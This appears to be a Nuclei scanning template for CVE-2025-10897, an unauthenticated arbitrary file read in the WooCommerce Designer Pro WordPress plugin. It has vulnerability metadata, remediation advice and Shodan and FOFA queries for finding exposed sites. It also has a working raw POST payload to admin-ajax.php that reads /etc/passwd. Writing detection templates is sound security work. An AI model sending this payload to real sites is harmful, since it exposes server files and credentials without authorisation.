id: CVE-2025-10897

info:
  name: WooCommerce Designer Pro <= 1.9.28 - Arbitrary File Read
  author: 0x_Akoko
  severity: high
  description: |
   WooCommerce Designer Pro theme for WordPress <= 1.9.28 contains an arbitrary file read vulnerability caused by improper input validation, letting unauthenticated attackers read arbitrary files including sensitive configuration files, exploit requires no authentication.
  impact: |
   Unauthenticated attackers can read sensitive files, potentially exposing database credentials and other critical information.
  remediation: |
   Update to the latest version beyond 1.9.28.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wc-designer-pro/woocommerce-designer-pro-1928-unauthenticated-arbitrary-file-read
    - https://nvd.nist.gov/vuln/detail/CVE-2025-10897
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 8.6
    cve-id: CVE-2025-10897
    epss-score: 0.01725
    epss-percentile: 0.74563
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="wc-designer-pro"
    shodan-query: http.html:"wc-designer-pro"
  tags: cve,cve2025,wordpress,wp,wp-plugin,wc-designer-pro,lfi

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=wcdp_convert_resource_cmyk&url=file:///etc/passwd

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "success"
          - "base64"
          - "cm9vdDp4OjA6MDpy"
        condition: and

      - type: status
        status:
          - 200
# digest: 490a0046304402205284cbbaba44399c711db71e9d0a836423b38a20f09363af7eb10a9ac9db59cf022036814c15ffa0204381fd220e7b03ea900303c8cb357d67b5b7588884f73f10d3:922c64590222798bb761d5b6d8e72950